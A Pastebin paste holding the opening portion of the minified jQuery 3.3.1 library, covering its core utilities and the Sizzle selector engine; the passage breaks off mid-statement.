Guest User

Untitled

a guest
Apr 30th, 2018
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 461.20 KB | None | 0 0
  1. /*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */
  2. !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",I="\\["+M+"*("+R+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+M+"*\\]",W=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+I+")*)|.*)\\)|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),F=new RegExp("^"+M+"*,"+M+"*"),_=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="<a id='"+b+"'></a><select id='"+b+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=r.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=fe(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=pe(t);function ye(){}ye.prototype=r.filters=r.pseudos,r.setFilters=new ye,a=oe.tokenize=function(e,t){var n,i,o,a,s,u,l,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=r.preFilter;while(s){n&&!(i=F.exec(s))||(i&&(s=s.slice(i[0].length)||s),u.push(o=[])),n=!1,(i=_.exec(s))&&(n=i.shift(),o.push({value:n,type:i[0].replace(B," ")}),s=s.slice(n.length));for(a in r.filter)!(i=V[a].exec(s))||l[a]&&!(i=l[a](i))||(n=i.shift(),o.push({value:n,type:a,matches:i}),s=s.slice(n.length));if(!n)break}return t?s.length:s?oe.error(e):k(e,u).slice(0)};function ve(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function me(e,t,n){var r=t.dir,i=t.next,o=i||r,a=n&&"parentNode"===o,s=C++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,u){var l,c,f,p=[T,s];if(u){while(t=t[r])if((1===t.nodeType||a)&&e(t,n,u))return!0}else while(t=t[r])if(1===t.nodeType||a)if(f=t[b]||(t[b]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===T&&l[1]===s)return p[2]=l[2];if(c[o]=p,p[2]=e(t,n,u))return!0}return!1}}function xe(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}function we(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Te(e,t,n,r,i,o){return r&&!r[b]&&(r=Te(r)),i&&!i[b]&&(i=Te(i,o)),se(function(o,a,s,u){var l,c,f,p=[],d=[],h=a.length,g=o||be(t||"*",s.nodeType?[s]:s,[]),y=!e||!o&&t?g:we(g,p,e,s,u),v=n?i||(o?e:h||r)?[]:a:y;if(n&&n(y,v,s,u),r){l=we(v,d),r(l,[],s,u),c=l.length;while(c--)(f=l[c])&&(v[d[c]]=!(y[d[c]]=f))}if(o){if(i||e){if(i){l=[],c=v.length;while(c--)(f=v[c])&&l.push(y[c]=f);i(null,v=[],l,u)}c=v.length;while(c--)(f=v[c])&&(l=i?O(o,f):p[c])>-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" "],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u<o;u++)if(n=r.relative[e[u].type])p=[me(xe(p),n)];else{if((n=r.filter[e[u].type].apply(null,e[u].matches))[b]){for(i=++u;i<o;i++)if(r.relative[e[i].type])break;return Te(u>1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u<i&&Ce(e.slice(u,i)),i<o&&Ce(e=e.slice(i)),i<o&&ve(e))}p.push(n)}return xe(p)}function Ee(e,t){var n=t.length>0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var 